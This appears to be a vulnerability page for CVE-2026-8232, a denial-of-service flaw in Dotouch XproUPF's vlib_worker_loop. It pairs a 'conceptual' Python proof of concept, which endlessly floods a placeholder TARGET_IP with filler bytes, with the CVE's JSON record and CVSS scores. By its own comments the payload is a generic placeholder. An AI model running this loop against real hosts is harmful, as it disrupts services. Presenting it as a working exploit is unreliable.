CVE-2026-8232

import socket import time # Conceptual PoC for CVE-2026-8232 # Target: Dotouch XproUPF vlib_worker_loop # This script attempts to trigger the DoS by sending malformed data. target_ip = "TARGET_IP" target_port = 8080 # Assumed port, replace with actual UPF interface port def trigger_dos(): try: # Create a socket connection to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft a payload that might trigger the vlib_worker_loop issue # Note: The specific payload structure depends on the protocol used by XproUPF. # This is a generic placeholder. payload = b"\x00\x00\x00\x00" * 1000 + b"TRIGGER_CRASH" print("[*] Sending malicious payload to trigger DoS...") s.send(payload) # Keep connection open or send multiple packets to stress the loop while True: s.send(payload) time.sleep(0.1) except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": trigger_dos()

{"cve": {"id": "CVE-2026-8232", "sourceIdentifier": "[email protected]", "published": "2026-05-10T06:16:08.827", "lastModified": "2026-05-11T16:17:41.740", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Dotouch XproUPF 2.0.0-release-088aa7c4. This impacts the function vlib_worker_loop in the library /usr/xpro/upf/tools/libs/libvlib.so of the component UPF Process. The manipulation results in denial of service. The vendor was contacted early about this disclosure."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 2.7, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 5.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://vuldb.com/submit/808794", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362449", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362449/cti", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/808794", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}